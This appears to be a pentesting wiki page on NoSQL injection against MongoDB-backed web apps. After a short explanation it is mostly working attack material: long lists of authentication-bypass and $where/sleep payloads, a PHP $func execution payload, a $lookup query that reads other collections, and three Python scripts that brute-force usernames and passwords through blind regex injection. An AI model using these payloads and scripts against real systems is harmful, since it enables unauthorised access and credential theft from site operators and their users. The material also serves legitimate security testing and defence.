NoSQL Injection

What is it?

NoSQL injection is where an attacker can manipulate the queries made to a NoSQL database through user input.

A simple example:

• A vulnerable web application has the endpoint /search?user={username}

• When a request is made, the application queries a NoSQL database (e.g., MongoDB) like this: db.users.find({username: {$eq: username}})

• If an attacker inserts a payload into {username} such as {"$ne": ""}, it may modify the query to retrieve all users.

• The vulnerable application sends this query to the database, potentially leaking all usernames.

It's important to note that payloads may vary depending on the database, query, and application. NoSQL injection can lead to:

• Sensitive data exposure

• Data manipulation

• Denial of service

Paylaods :

//
%00
'
"
'"\/$[].>
'; return '' == '
;sleep(100);
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
username[$ne]=1&password[$ne]=1
{$gt: ''}
[$ne]=1
';sleep(5000);
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"user": "nullsweep"}
{"user": ["nullsweep", "foo"]}
{"$or": [{"user": "foo"}, {"user": "realuser"}]
{"$ne": -1}
{"$in": []}
{"$and": [ {"id": 5}, {"id": 6} ]}
{"$where":  "return true"}
{"$or": [{},{"foo":"1"}]}
{"$where":  "sleep(100)"} 
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Administrator","Admin", "admin", "root", "administrator"]},"password":{"$gt":""}}

Checklist:

• What is the technology stack you're attacking?

• What NoSQL DB is being used (MongoDB, CouchDB, etc.)?

• Verify injection points:

  • URL parameters

  • Form fields

  • HTTP headers (e.g., cookies, etc.)

  • Out-of-band (data retrieved from a third party)

• Test with different operators: $eq, $ne, $gt, $gte, $lt, $lte, etc.

• Can you trigger different responses?

• Test for login bypass: {"$ne": ""}

• Test for blind NoSQLi

• Test for errors

• Test for conditional responses

• Test for conditional errors

• Test for time delays

• Test for out-of-band interactions

• Is there a blocklist?

  • Can you bypass the blocklist?

Exploit

In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.

The exploits are based in adding an Operator:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Basic authentication bypass

Using not equal ($ne) or greater ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

query = { $where: `this.username == '${username}'` }

An attacker can exploit this by inputting strings like admin' || 'a'=='a, making the query return all documents by satisfying the condition with a tautology ('a'=='a'). This is analogous to SQL injection attacks where inputs like ' or 1=1-- - are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like ' || 1==1//, ' || 1==1%00, or admin' || 'a'=='a.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Extract length information

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Extract data information

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongos

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Arbitrary Function Execution

Using the $func operator of the MongoLite library (used by default) it might be possible to execute and arbitrary function as in this report.

"user":{"$func": "var_dump"}

Get info from different collection

It's possible to use $lookup to get info from a different collection. In the following example, we are reading from a different collection called users and getting the results of all the entries with a password matching a wildcard.

NOTE: $lookup and other aggregation functions are only available if the aggregate() function was used to perform the search instead of the more common find() or findOne() functions.

[
  {
    "$lookup":{
      "from": "users",
      "as":"resultado","pipeline": [
        {
          "$match":{
            "password":{
              "$regex":"^.*"
            }
          }
        }
      ]
    }
  }
]

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

MongoDB Payloads

List from here

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQL Script

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
    print("[i] Looking for char number "+str(i+1))
    for char in alphabet:
        r = requests.get("http://chall.com?param=^"+flag+char)
        if ("<TRUE>" in r.text):
            flag += char
            print("[+] Flag: "+flag)
            break

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = {'ids': payload}, verify = False)
            if 'OK' in r.text:
                print("Found one more char : %s" % (password+c))
                password += c

Brute-force login usernames and passwords from POST login

This is a simple script that you could modify but the previous tools can also do this task.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
    print("Extracting password of "+username)
    params = {"username":username, "password[$regex]":"", "login": "login"}
    password = "^"
    while True:
        for c in possible_chars:
            params["password[$regex]"] = password + c + ".*"
            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
            if int(pr.status_code) == 302:
                password += c
                break
        if c == possible_chars[-1]:
            print("Found password "+password[1:].replace("\\", "")+" for username "+username)
            return password[1:].replace("\\", "")

def get_usernames(prefix):
    usernames = []
    params = {"username[$regex]":"", "password[$regex]":".*"}
    for c in possible_chars:
        username = "^" + prefix + c
        params["username[$regex]"] = username + ".*"
        pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
        if int(pr.status_code) == 302:
            print(username)
            for user in get_usernames(prefix + c):
                usernames.append(user)
    return usernames

for u in get_usernames(""):
    get_password(u)

References

• https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection

• https://nullsweep.com/a-nosql-injection-primer-with-mongo/

• https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb

• https://book.hacktricks.xyz/pentesting-web/nosql-injection